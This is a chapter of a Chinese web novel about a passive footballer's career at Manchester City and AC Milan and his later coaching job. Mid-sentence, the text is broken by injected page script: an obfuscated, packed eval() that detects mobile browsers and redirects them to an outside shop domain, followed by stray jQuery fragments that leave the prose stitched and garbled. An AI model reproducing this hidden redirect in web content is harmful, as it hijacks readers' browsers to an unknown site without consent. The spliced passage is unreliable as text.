你入手了一个足球模拟器
你发现调情能加战术，夜店能加体力，汉堡店能加情商。
*
在金球奖上主角对全世界的人表示：“足球的本质……是人性。而人性，需要酒精、美色和垃圾食品来激活。”
主角是个空心人，他的人生是顺水推舟。
7岁，曼城青训教练路过社区公园，看了他二十分钟，走过去递了一张名片。
主角接过名片低头看看，又抬头看了看教练。
“你愿意来我们这踢球吗？”
“嗯。”他说。
就这样，他的人生被决定了。不是因为他多热爱足球，也不是因为家里缺钱，纯粹是他没什么想法。
之后就是标准的流程：梯队、青年队、预备队、一线队边缘人、租借。在曼城踢了两年一线队替补后，2005年19岁的主角被租借到了AC米兰，半年后买断。接着按部就班的在米兰踢了一辈子。
他什么都不会，这是事实。
七岁开始天天训练，文化课垫底，中学毕业证靠老师放水才拿到。
没有爱好，没有特长，也读不下去书。他唯一能写流畅的是自己的名字。
有人问主角有没有别的爱好，他想了想，说：“吃点汉堡？”
“还有呢？”
“没了。”
他年轻的时候跟队友去过艺术展，站在一幅画前面看了十五分钟，然后说出了一个至理名言：“它比另一幅大”。
队友笑话他，他也跟着笑。
脑子里对任何事物的反应都像打在棉花上，弹回来的只有自己那点力气。
他是一把好用的刀，从曼城到米兰，从十九岁砍到三十四岁，刀刃始终锋利，因为擦得足够勤。
三十四岁退役那天，更衣室里队友给他鼓掌。
他笑了笑和年轻的小队友们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17791628|208445||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
庆祝一番后，转身去洗澡。
热水冲下来的时候他看着瓷砖上的水渍，突然想起一个事，他这辈子没写过一份简历。
如果让他现在写，他的人生简历里只能填“足球”。
其他技能呢？
空白。
主角退役后没有太多时间迷茫，母队曼城给他递来了一份助教合同。他接着上班，只不过地点从意大利换到了英国。
2024年，他坐在曼城替补席上，手里拿着战术板，笔尖在一处空格停了很久。
旁边哈兰德问他怎么了，他说没事在考虑战术。
其实他什么都没想。
脑子里空的，像米兰那家汉堡店打烊之后的厨房。
主角放下战术版转头看向球场内，地上的草皮绿得发亮。
他在这块草皮上跑了快三十年，从这一头到那一头，从九岁到三十四岁。
但好像从没跑赢过。